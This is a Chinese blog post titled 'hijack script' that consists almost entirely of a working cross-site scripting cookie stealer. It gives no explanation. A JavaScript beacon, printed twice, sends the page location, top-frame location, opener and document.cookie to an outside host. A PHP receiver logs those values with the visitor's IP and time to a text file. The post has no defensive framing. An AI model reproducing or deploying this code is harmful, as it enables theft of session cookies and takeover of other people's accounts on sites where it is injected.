ITPub博客

首页 > Linux操作系统 > Linux操作系统 > 劫持脚本

劫持脚本

原创 Linux操作系统 作者:Rman2017 时间:2017-04-20 09:44:18 0 删除 编辑
var x=new Image(); try { var myopener=''; myopener=window.opener && window.opener.location ? window.opener.location : ''; } catch(err) { } x.src='http://2.c.gp/?location='+escape(document.location)+'&toplocation='+escape(top.document.location)+'&cookie='+escape(document.cookie)+'&opener='+escape(myopener);

<?php
if($_GET){
$location = $_GET["location"];
$toplocation = $_GET["toplocation"];
   $cookie = $_GET["cookie"];
   $opener = $_GET["opener"];
   $ip = $_SERVER['REMOTE_ADDR'];
   $date = date('Y:m:d H:i:s');
   
   $fp = fopen('xss.txt','a+');
   $xss = " location:".$location."\n toplocation:".$toplocation."\n cookie:".$cookie."\n opener:".$opener."\n ip:".$ip."\n date:".$date."\n  ------------------------------------------------------------------------------------------- \n";
   fputs($fp,$xss);
   fclose($fp);
   }
if($_POST['del']=='ok'){
$fp = fopen('xss.txt','w');
fputs($fp,"\n");
fclose($fp);
}   

?>

var x=new Image(); try { var myopener=''; myopener=window.opener && window.opener.location ? window.opener.location : ''; } catch(err) { } x.src='http://2.c.gp/?location='+escape(document.location)+'&toplocation='+escape(top.document.location)+'&cookie='+escape(document.cookie)+'&opener='+escape(myopener);
X.JS

来自 “ ITPUB博客 ” ,链接:https://blog.itpub.net/31448824/viewspace-2137662/ ,如需转载,请注明出处,否则将追究法律责任。

请登录后发表评论 登录
全部评论

注册时间:2017-03-30

  • 博文量
    352
  • 访问量
    132747